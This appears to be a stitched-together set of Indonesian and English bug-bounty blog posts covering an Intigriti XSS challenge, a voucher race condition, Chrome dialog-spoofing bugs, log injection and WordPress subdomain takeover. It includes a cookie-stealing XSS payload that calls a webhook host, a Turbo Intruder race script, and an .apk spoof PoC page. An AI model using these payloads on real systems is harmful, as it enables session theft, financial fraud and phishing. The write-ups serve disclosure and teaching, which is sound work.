Tools ini dibuat menggunakan AutoHotkey v2 dengan tujuan sederhana: mempercepat penggunaan payload tanpa perlu bolak-balik copy–paste.

Cara kerjanya cukup straightforward. Script akan mengambil isi dari file payload (misalnya payload1.txt, payload2.txt, dan seterusnya), lalu langsung mengirimkannya ke input yang sedang aktif. Tinggal tekan tombol Numpad sesuai nomor payload yang ingin digunakan.

Contohnya:

• Numpad1 akan mengirim isi dari payload1.txt

• Numpad2 dari payload2.txt

• dan seterusnya sampai Numpad9

Berikut source code-nya:

#Requires AutoHotkey v2
#SingleInstance Force

PasteFromFile(index) {
    filename := "payload" index ".txt"
    
    if !FileExist(filename) {
        MsgBox "File tidak ditemukan: " filename
        return
    }

    payload := Trim(FileRead(filename))
    SendText payload
}

Numpad1::PasteFromFile(1)
Numpad2::PasteFromFile(2)
Numpad3::PasteFromFile(3)
Numpad4::PasteFromFile(4)
Numpad5::PasteFromFile(5)
Numpad6::PasteFromFile(6)
Numpad7::PasteFromFile(7)
Numpad8::PasteFromFile(8)
Numpad9::PasteFromFile(9)

Untuk struktur file, cukup siapkan beberapa file payload seperti:

• payload1.txt

• payload2.txt

• payload3.txt dan seterusnya, isi dengan payload yang ingin digunakan.

Cara pakainya:

1. Jalankan script AutoHotkey

2. Fokus ke input target

3. Tekan Numpad sesuai payload yang diinginkan

Tools ini tidak kompleks, tapi cukup membantu untuk mempercepat workflow saat testing, terutama kalau sering main di bagian input yang sama.

Tools Sudah jadi : https://drive.google.com/drive/folders/1vUjDQCnCnQYPQ1wsikLGq0-lXwuAwGwq?usp=sharing

Gunakan hanya pada target yang memang memiliki izin (program bug bounty atau lab testing).

This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.

Let’s Get Started

In this challenge, you are provided with a file containing the source code of the web application used for the challenge. Before diving into the attack plan, let’s break down what this web app actually does.

• Part 0x1

In file app.py, the Markdown renderer uses regex substitutions but treats the original input as trusted HTML:

def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content

Because there is no HTML sanitization/escaping, an attacker can include raw HTML tags including <script> in content, and they will remain present in the output.

• Part 0x2

In preview.js, the application inserts the server rendered HTML directly into the page:

fetch('/api/render?id=' + postId)
        .then(function(response) {
            if (!response.ok) throw new Error('Failed to load');
            return response.json();
        })
        .then(function(data) {
            const preview = document.getElementById('preview');
            preview.innerHTML = data.html;
            processContent(preview);
        })
        .catch(function(error) {
            document.getElementById('preview').innerHTML = '<p class="error">Failed to load content.</p>';
        });

This is a DOM XSS sink because attacker controlled HTML is parsed and inserted into the DOM.

• Part 0x3

Even if scripts inserted via innerHTML do not always execute automatically in some cases, the app includes logic that explicitly executes them by creating new <script> elements:

if (script.src && script.src.includes('/api/')) {
    const newScript = document.createElement('script');
    newScript.src = script.src;
    document.body.appendChild(newScript);
}

This ensures execution for any injected <script src=""> matching /api/. The site used a CSP similar to script-src 'self'. That sounds restrictive, but it still allows scripts from the same origin. Since /api/ endpoints are hosted on the same origin, scripts loaded from /api/... are fully allowed by CSP.

• Part 0x4

The JSONP endpoint directly injects callback into JavaScript without proper validation:

@app.route('/api/jsonp')
def api_jsonp():
    callback = request.args.get('callback', 'handleData')
    
    if '<' in callback or '>' in callback:  # Filter ONLY < and >
        callback = 'handleData'
    
    response = f"{callback}({json.dumps(user_data)})"
    return Response(response, mimetype='application/javascript')

Filtering only < and > is insufficient because JavaScript injection does not require HTML tags. The attacker can supply a callback that is actually arbitrary JavaScript:

Example request

/api/jsonp?callback=fetch('https://test.com/'+document.cookie)//

Resulting response

fetch('https://test.com/'+document.cookie)//({})

Because the endpoint returns application/javascript, this is executed when loaded via a `<script src=>` tag

Now that we understand how it works, let’s break it.

Solution

Attacker creates a post containing a <script> tag pointing to /api/jsonp with a malicious callback payload. The preview feature renders content into the DOM via innerHTML. Client-side code re-inserts /api/ scripts by creating new <script> elements, ensuring execution.The JSONP endpoint returns attacker-controlled JavaScript, which runs under the application origin. Sensitive data (e.g., moderator cookies) can be exfiltrated to an attacker-controlled endpoint.

payload : <script src="/api/jsonp?callback=fetch('https://webhookexample.com/?c='.concat(document.cookie))//"></script>

Exploit Steps:

1. Register and log in.

2. Create a post and inject the payload above into the post content.

3. Click “Report to Moderator”

4. Observe the webhook receiving the victim’s document.cookie.

The application is vulnerable to stored DOM-based XSS due to an unsafe Markdown renderer that outputs attacker-controlled HTML, which is then inserted into the DOM using innerHTML. The impact is escalated by client-side logic that explicitly re-executes <script> tags referencing /api/ paths. An additional flaw in /api/jsonp allows JavaScript injection via an unvalidated callback parameter, enabling same-origin script execution under script-src 'self'.

This chain leads to account compromise and data exfiltration moderator cookies when privileged users view malicious content.

Final Flag

INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}

Konsep dasarnya sederhana: Satu kode voucher seharusnya cuma bisa dipakai satu kali. Tapi, apa jadinya kalau kita kirim request pemakaian voucher tersebut secara bersamaan dalam hitungan milidetik? Apakah server sempat mencatat bahwa vouchernya "sudah terpakai" sebelum request kedua masuk?

Seketika saya langsung berpikir, "Kayaknya bisa deh kalau kita paksa server memproses banyak request sekaligus sebelum database sempat melakukan locking."

The Naive Attempt

Awalnya saya coba cara manual menggunakan Burp Suite Repeater. Saya kirim satu request, lalu dengan cepat saya tekan CTRL+R dan GO lagi.

Hasilnya? Gagal. Server target.com cukup cepat. Request pertama sukses (200 OK), dan request kedua langsung ditolak (400 Bad Request) dengan pesan "Voucher already redeemed". Ternyata latensi jaringan dan kecepatan klik jari manusia tidak cukup cepat untuk mengalahkan logic check di backend.

Di sini banyak bug hunter menyerah. Tapi sebenarnya, kita hanya butuh alat yang lebih presisi.

The Bypass: Turbo Intruder

Untuk melakukan bypass pada batasan kecepatan ini, kita tidak bisa mengandalkan Repeater biasa. Kita butuh Turbo Intruder, sebuah ekstensi di Burp Suite yang bisa menahan request di level jaringan, lalu melepaskannya secara serentak (paralel).

Strateginya adalah menggunakan teknik Last-Byte Sync. Kita akan menahan byte terakhir dari request, membuat koneksi terbuka dan siap ("gated"), lalu melepaskan semuanya dalam waktu bersamaan.

Berikut adalah script Python yang saya gunakan di Turbo Intruder:

def queueRequests(target, wordlists):
    # Membuka 30 koneksi sekaligus
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=1,
                           pipeline=False
                           )

    # Antrikan 30 request ke dalam 'gate' bernama 'race1'
    for i in range(30):
        engine.queue(target.req, gate='race1')

    # Lepaskan semua request secara bersamaan (presisi milidetik)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    # Catat semua respon ke dalam tabel hasil
    table.add(req)

The Result

Setelah script dijalankan, Turbo Intruder mengirimkan 30 request dalam jendela waktu kurang dari 5 milidetik. Dan hasilnya mengejutkan!

Alih-alih mendapatkan 1x status 200 OK dan 29x 400 Bad Request, saya mendapatkan 5x status 200 OK. Ini berarti dari 30 request yang "balapan" masuk ke database:

1. Thread 1 cek voucher -> Valid -> Masuk proses potong saldo.

2. Thread 2 cek voucher -> Valid (karena Thread 1 belum selesai update DB) -> Masuk proses potong saldo.

3. Thread 3 cek voucher -> Valid -> Masuk proses potong saldo.

4. dst...

Voucher senilai $10 yang seharusnya cuma bisa dipakai sekali, berhasil saya redeem sebanyak 5 kali, memberikan saya total kredit $50. Restriction pada backend berhasil terbypass total karena kegagalan atomisitas.

Alternative Method: The "No-Code" Way (Burp Repeater)

Buat kalian yang malas buka Python atau tuning script, Burp Suite versi terbaru sebenarnya sudah punya fitur bawaan yang ga kalah sadis: Parallel Request Grouping.

Fitur ini memanfaatkan teknik Last-byte Sync secara otomatis via UI. Caranya gampang banget:

1. Kirim request voucher tadi ke Repeater.

2. Duplikasi request tersebut sebanyak 20 kali (CTRL + R spamming).

3. Klik icon + di baris tab, lalu pilih "Create tab group".

4. Pilih semua tab yang sudah kita duplikasi tadi, beri nama grup (misal: Race), lalu Create.

Nah, ini kuncinya: Di bagian Send options (atas kiri), ubah dari "Send group in sequence" menjadi "Send group in parallel (single connection)".

Kenapa harus single connection? Karena opsi ini yang paling efektif memicu packet collision. Burp akan membuka satu koneksi TCP dan menumpuk semua request di sana, lalu melepas byte terakhir secara serentak.

Tinggal klik Send Group, dan boom! Kalian akan melihat 20 kolom respon muncul bersamaan. Di kasus saya, teknik UI ini juga sukses memicu 3x redeem ganda tanpa perlu menyentuh satu baris kode pun.

Remediation

Untuk remediasi, developer harus menerapkan Pessimistic Locking (misalnya SELECT FOR UPDATE pada database SQL) atau menggunakan operasi atomik. Ini akan memastikan bahwa ketika satu thread sedang membaca/mengubah status voucher, thread lain harus menunggu antrian dan tidak bisa membaca data yang sedang diproses.

Sistem yang sudah di-patch biasanya akan menangani antrian ini dengan benar sehingga hanya 1 request yang sukses, sisanya akan fail.

Real-World Study Cases

Teori tanpa studi kasus nyata seringkali sulit dibayangkan. Berikut adalah daftar laporan asli (Public Disclosure) di HackerOne yang bisa kamu bedah untuk memahami pola serangan ini di berbagai tingkat keparahan:

Low Severity (Logic & UI State):

• Report 1285538

• Report 454949

• Report 927384

Medium Severity:

• Report 429026

High Severity (Financial & Integrity Impact):

• Report 759247

Recommended Reading:

• Top 25 Race Condition Bug Bounty Reports

Bagi yang ingin belajar lebih dalam, teknik ini sangat efektif untuk target-target yang melibatkan saldo, kupon, atau limitasi jumlah penggunaan. Happy hacking!

Dengan memanfaatkan event onerror pada elemen media HTML seperti <audio>, sebuah halaman dapat mengeksekusi window.open() secara otomatis tanpa klik apa pun. File media yang sengaja dibuat tidak valid akan gagal dimuat, memicu onerror, dan langsung membuka jendela atau tab baru.

Ketika teknik ini dijalankan di Split Screen mode, mekanisme popup blocking tidak diterapkan sebagaimana mestinya. Dengan menambahkan banyak elemen <audio>, setiap error akan membuka pop-up secara beruntun tanpa diblokir. Perilaku ini tidak terjadi pada halaman normal, hanya muncul saat Split Screen aktif.

Dampaknya, halaman berbahaya dapat membuka pop-up dalam jumlah besar, mengganggu pengalaman pengguna, menguras sumber daya sistem, dan menghilangkan kontrol pengguna atas browser.

Severity: Low - Medium (mayan buat jajan)

Pada bug yang saya temukan, PiP dapat menutupi permission open camera, dan permission tersebut dapat dijalankan hanya dengan menekan tombol Enter. Akibatnya, kamera akan menyala tanpa sepengetahuan user/victim, karena dialog permission tidak terlihat oleh user akibat tertutup oleh PiP.

Bug ini menunjukkan bahwa permission masih menerima input meskipun tidak terlihat, sehingga memungkinkan eksekusi permission dengan interaksi user yang sangat minim.

Bagi kalian yang tidak tau picture in picture itu apa kalian bisa baca ini
https://developer.chrome.com/docs/web-platform/document-picture-in-picture

Note: The target name has been intentionally censored in this public writeup. References to the affected service appear as [REDACTED TARGET].

TL;DR

A logging/formatting issue allowed attacker-controlled usernames containing newline characters. When such a username performed actions that were recorded in the logs-history log, the entry formatting collapsed and the username disappeared — effectively hiding who performed the action. This weakens audit trails and can be abused to obfuscate malicious activity.

Background

Audit logs and logs histories are often trusted sources for accountability, incident response, and compliance. Even small formatting or sanitization bugs in how identities are recorded can break those guarantees.

During a bounty assessment on bugbounty.[REDACTED TARGET] I discovered that the application accepted usernames with control characters (specifically multiple newline characters). Those usernames were later used verbatim when writing logs-history entries. Because log lines were not sanitized or normalized, the injected newlines shifted or removed the visible username portion of the log entry.

What I found

• The application allows an authenticated user to update their account name to a string containing newline characters.

• When a user with such a newline-containing name performs actions (for example, creating an logs), the logs history entry is recorded but the username does not appear in the expected position — effectively hiding who performed the action.

• This is a business logic / logging defect (not a classic code execution or privilege escalation), but it has high operational impact for forensics and auditability.

Steps to reproduce

The exact URLs and host are intentionally redacted. This section summarizes the steps conceptually.

1. Authenticate as a user with permission to edit your profile.

2. Edit the account name field and set it to a value containing newline characters (for example: \n\n\n\n).

3. Perform an action that is recorded in logs-history (e.g., create an logs).

4. Inspect the logs-history entry for that action. The username will be missing or the log line will be malformed.

Vulnerable request example (redacted):

PATCH /api/v1/users/<ATTACKER_USER_ID> HTTP/2
Content-Type: application/json;charset=utf-8

{"name":"



"}

Proof-of-concept

I provided a proof-of-concept during disclosure that demonstrates the behavior. (Censored identifiers and attachments omitted from this public writeup.) The core idea is that newline control characters in a username cause the log formatting to break, removing the visible username from the log line.

Impact

• Loss of attribution: Audit and logs can omit who performed an action.

• Reduced trust: Forensic evidence derived from logs history may be incomplete or misleading.

• Operational risk: Attackers can more easily hide or obfuscate activity that would otherwise be tied to an identity.

While the vulnerability is a formatting/business-logic issue (and was triaged as Low severity under the program's scoring), its operational impact on trust and incident response can be significant in sensitive environments.

Timeline (abridged)

• 2025-05-31 — Report submitted by @syarif07

• 2025-06-13 — Engineer confirmed the issue (triaged)

• 2025-08-12 — Bounty awarded (fix planned)

• 2025-10-17 — Initial retest showed issue still present

• 2025-11-07 — Final retest: fix verified and report resolved

Mitigation & Recommendations

To developers and platform owners:

1. Sanitize user-provided identity fields (names, display names) before storing and before rendering into logs. Specifically:

   • Strip or normalize control characters (newlines, carriage returns, tabs).

   • Consider rejecting names containing control characters at input validation.

2. Canonicalize audit log formatting:

   • Use structured logging (JSON logs with dedicated actor fields) rather than composing log lines through string concatenation.

   • When rendering logs for UI, escape or visualize non-printable characters rather than allowing them to change layout.

3. Hardening and detection:

   • Add regex-based validation for identity attributes to restrict to printable characters and reasonable length.

   • Add monitoring/alerts for log entries that are missing expected fields or that contain suspicious whitespace patterns.

4. Retrospective checks:

   • Re-scan existing logs-history entries for suspicious/malformed entries created from accounts that may contain control characters.

   • If audit trails are used for compliance, consider preserving raw event payloads and separate display formatting to avoid loss of attribution.

Lessons learned

• Small input validation holes can have outsized effects on operational security and trust.

• Structured logging saves you from many classes of formatting-related failures.

• When designing audit trails, assume malicious input — including unusual Unicode and control characters.

Acknowledgements

Thanks to the engineering team at [REDACTED TARGET] for working through retests and deploying a fix. Thanks also to the HackerOne analysts who reviewed the report, and to the wider security community for encouraging responsible disclosure practices.

Full disclosure policy

This writeup is authored by the original reporter. The target name has been censored per the author's request. For questions about technical details or to request additional details (where appropriate), contact the author handle: @syarif07.

End of writeup. Rocket science is not rocket science

Steps to Reproduce:

1. Subdomain yang didukung WordPress, katakanlah contohnya slebew.aweawe.com memiliki service fingerprint seperti ini:,

Error: Active domain connection

Something unexpected happened while accessing this website. It looks like it doesn’t have an active domain connection upgrade to link the requested domain name to the WordPress.com site.

If this is your domain name and it has recently stopped working, it's possible that your plan or domain may have expired. Please log in to your WordPress.com account and review the status of your plan and domain.

2. Selanjut nya masuk ke akun WordPress ke url ini: https://wordpress.com/start/domains/use-your-domain,

3. Hubungkan subdomain slebew.aweawe.com dengan membayar biaya langganan yang bisa connect domain.,

4. Setelah berhasil menghubungkan subdomain yang vulnerable, silahkan untuk menghost proof of concept nya contoh nya seperti ini : slebew.aweawe.com/namakalian.html,

Impact: Pengambilalihan subdomain yang disalahgunakan untuk beberapa tujuan:

• Distribusi malware.

• Phishing / Spear phishing.

• XSS.

Useful Resource/Reference:

• https://sapt.medium.com/wordpress-subdomain-takeover-on-bugcrowd-private-program-f59b5a0d74a7,

• https://www.hackerone.com/blog/guide-subdomain-takeovers-20,

• https://github.com/EdOverflow/can-i-take-over-xyz,

Semoga bermanfaat, Happy hunting 😎

Awalnya, saya menemukan bug ini melalui cara yang nggak terduga, karena sebelumnya saya hanya mencoba retest semua vulnerability yg sudah di disclosed oleh pihak Chromium. Buat yang belum tau, ini adalah link query untuk melihat semua vulnerability yg sudah di fixed dan di disclosed oleh Chromium untuk bahan belajar:

https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof

Sampai pada akhirnya saya menemukan bug yang sangat menarik, dan dibayar bounty dengan bounty besar juga, yaitu $7500 (https://issues.chromium.org/issues/40055527). Bug nya cukup simpel, intinya file download confirmation bisa muncul di origin lain. Contohnya kalau di Chrome Android, ketika kita ingin download file misal file .apk, browser akan memunculkan confirmation dialog untuk memastikan apakah kita beneran mau download file itu atau tidak. Confirmation dialog itu harusnya hanya boleh muncul pada tab yang merupakan origin dari file tersebut, semisal confirmation dialog tersebut merupakan konfirmasi untuk download file facebook.apk dari website https://facebook.com, harusnya confirmation dialog itu hanya boleh muncul di https://facebook.com, gak boleh di web lain. Cuplikan video PoC dari report https://issues.chromium.org/issues/40055527 bisa dilihat pada.

Disitu terlihat bahwa confirmation dialog poc.apk bisa muncul pada site google.com, padahal aslinya file itu berasal dari sha3.ezyro.com, dengan adanya kerentanan ini user akan mengira bahwa poc.apk benar-benar berasal dari https://google.com (padahal bukan).

Nah, biasanya setiap security bug yang sudah di disclosed oleh Chromium, akan disertakan juga file exploitnya, kalau spoof biasanya akan di share dalam bentuk HTML & JS [GAMBAR 3]. Langsung saja disini saya melakukan retest bug tersebut tanpa melakukan custom dari exploit yang sudah ada, hanya mengganti lokasi tempat file .apk tersebut di download saja yang diganti. Dan jadinya file PoC berikut ini:

<html>
 <head> 
  <meta charset="utf-8">
<style>
.button {
  background-color: #4CAF50;
  border: none;
  color: white;
  padding: 15px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  cursor: pointer;
}
</style>
 </head> 
 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>
</html>

Kunci dari file PoC ini ada pada JS code berikut ini. Yang dimana akan membuat trigger, ketika button di click, browser akan membuka https:/google.com dan melakukan download file .apk dari https://frozzipies.github.io/test.apk menggunakan window.open dan setTimeout

 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>

Dengan mengeksekusi button tersebut, user akan di redirect ke https://google.com/ dan melakukan eksekusi fungsi setTimeout setelah 5 detik, untuk memunculkan dialog download test.apk dari https://frozzipies.github.io/test.apk sebagai attacker site.

Awalnya saya berpikir bug ini sudah di fixed, ternyata Chromium belum melakukan fixing secara penuh terkait bug ini. Karena, Chromium memiliki fitur "file might be harmful" yang akan selalu muncul ketika user mendownload executable file seperti .apk .exe .sh dll secara direct.

Jadi ketika executable file yang di download, confirmation dialog tidak akan lagi muncul, melainkan yang akan muncul adalah "file might be harmful" dialog, Dan yang jadi root cause dari bug ini adalah pada "file might be harmful" dialog yang tidak memiliki origin, sehingga dialog tersebut bisa muncul di origin atau site manapun tanpa ada security restriction seperti confirmation dialog. Sebenarnya saya berharap bug ini akan dibayar lebih tinggi dibanding $1000, tapi ya mungkin rejekinya memang segini, jadi tetep disyukuri aja, Alhamdulillah. VIdeo PoC dan file PoC exploitnya sudah saya attach ya di Laporan asli bug ini: https://issues.chromium.org/issues/415496161

Inilah gejala klasik dari efek Dunning–Kruger, bias psikologis yang membuat orang dengan kemampuan minim justru merasa paling kompeten.
Di dunia bug bounty, efek ini tidak hanya hidup, ia berkembang biak, dibungkus dalam sertifikat, disebar lewat media, dan dijual sebagai kursus berbayar.

Dunning Kruger: Ketika Tidak Tahu Diri Terlihat Seperti Percaya Diri

David Dunning dan Justin Kruger pertama kali mengamati fenomena ini di laboratorium psikologi:
orang dengan kemampuan rendah cenderung melebih-lebihkan kapabilitasnya, karena mereka bahkan tidak cukup tahu untuk menyadari keterbatasan diri sendiri.

Dalam bug bounty, eksperimen itu berjalan di dunia nyata.
Seseorang menemukan bug information disclosure, menerima ucapan terima kasih dari NASA, lalu memproklamirkan diri sebagai “pemburu bug internasional”.
Tak lama kemudian muncul kelas daring dengan tajuk “cara cepat dapat bounty”.
Di sinilah batas antara prestasi kecil dan kepercayaan diri besar benar-benar kabur.

Ketika Sensasi Mengalahkan Akurasi

Media punya peran penting dalam memperbesar efek ini.
Mereka jarang memahami konteks teknis, tapi sangat memahami nilai jual dari kata “hacker” dan “NASA”.
Satu bug low severity di subdomain sandbox bisa berubah menjadi “anak bangsa tembus sistem luar angkasa”.
Publik yang awam menelan narasi itu mentah-mentah.
Dan yang bersangkutan, alih-alih meluruskan, memilih diam atau lebih parah, memanfaatkannya.

Begitu label “hacker NASA” melekat, segala bentuk kritik dianggap iri, segala saran dianggap serangan.
Padahal kritik semacam itu sering datang dari orang-orang yang dulu juga pernah ada di posisi yang sama, pernah salah paham tentang kemampuan diri sendiri.

Keseimbangan: Di Antara Belajar, Mengajar, dan Mengaku Tak Tahu

Mengajar bukan dosa.
Bahkan pemula pun boleh berbagi pengalaman, selama tahu batas antara berbagi dan menipu.
Masalah muncul ketika “ingin mengajar” berubah jadi “ingin dianggap tahu segalanya.”

Dalam dunia bug bounty, pengetahuan teknis penting, tapi kesadaran diri lebih penting lagi.
Karena Ia bukan hanya menyesatkan dirinya sendiri, tapi juga seluruh ekosistem yang mencoba belajar darinya.

Solusi: Menyembuhkan Dunning–Kruger dengan Ekosistem yang Jujur

Dunia bug bounty tidak butuh lebih banyak pengajar instan, tapi lebih banyak ruang belajar yang jujur.
Komunitas keamanan siber bisa meminimalisir efek Dunning–Kruger dengan tiga hal sederhana: transparansi, kritik sehat, dan mentorship.

Transparansi berarti tidak menutupi konteks pencapaian.
Kalau menemukan bug kecil, katakan sebagaimana adanya tidak perlu dibungkus dengan narasi yang di lebih lebihkan.
Kritik sehat berarti tidak hanya menertawakan pemula yang salah arah, tapi membantu mereka memahami di mana letak kekeliruannya.
Dan mentorship berarti para senior perlu lebih terbuka tidak hanya muncul untuk mengoreksi, tapi juga membimbing.

Ketika tiga hal itu hidup di komunitas, rasa ingin tahu akan kembali menggantikan rasa ingin diakui.
Dan efek Dunning Kruger perlahan kehilangan panggungnya.

Penutup: Antara Kepintaran dan Kebijaksanaan

Efek Dunning Kruger tidak akan hilang dari dunia ini, tapi ia bisa dikendalikan dengan satu hal sederhana: kesadaran diri.
seperti halnya dalam hidup, yang berbahaya bukanlah orang yang belum tahu, melainkan mereka yang berhenti belajar karena merasa sudah tahu.
Bug bounty seharusnya menjadi ruang eksplorasi, bukan panggung ego.

Kehebatan sejati tidak datang dari seberapa cepat kamu viral, tapi dari seberapa lama kamu tahan untuk terus belajar tanpa perlu diakui. -sinju 1945

Download lab : Click Here

Original repositorie : https://github.com/Subhajit25Mondal/hashtag.io

💡 Konsep & Teknik

Kerentanan ini memanfaatkan cara browser menangani interaksi user saat membuka tab baru menggunakan anchor (<a target="_blank">) yang dikombinasikan dengan event click() dan file input.

Ketika anchor ini diklik, tab baru menuju google.com akan terbuka. Namun, sebelum atau sesudahnya, kita bisa memicu input type="file" pada tab lama, memunculkan dialog file picker secara asinkron di tab attacker, bukan di tab google.com.

Contoh Rentan :

🔥 Eksploitasi

1. User tap/klik halaman attacker yang menampilkan pesan:
   "Tap to upload photo to Google**."**

2. Halaman membuka https://www.google.com di tab baru.

3. Secara bersamaan, halaman attacker memicu input.click() — memunculkan dialog pemilih file di tab sebelumnya.

4. Korban mengira bahwa upload file dilakukan ke Google, padahal sebenarnya file dikirim ke halaman attacker.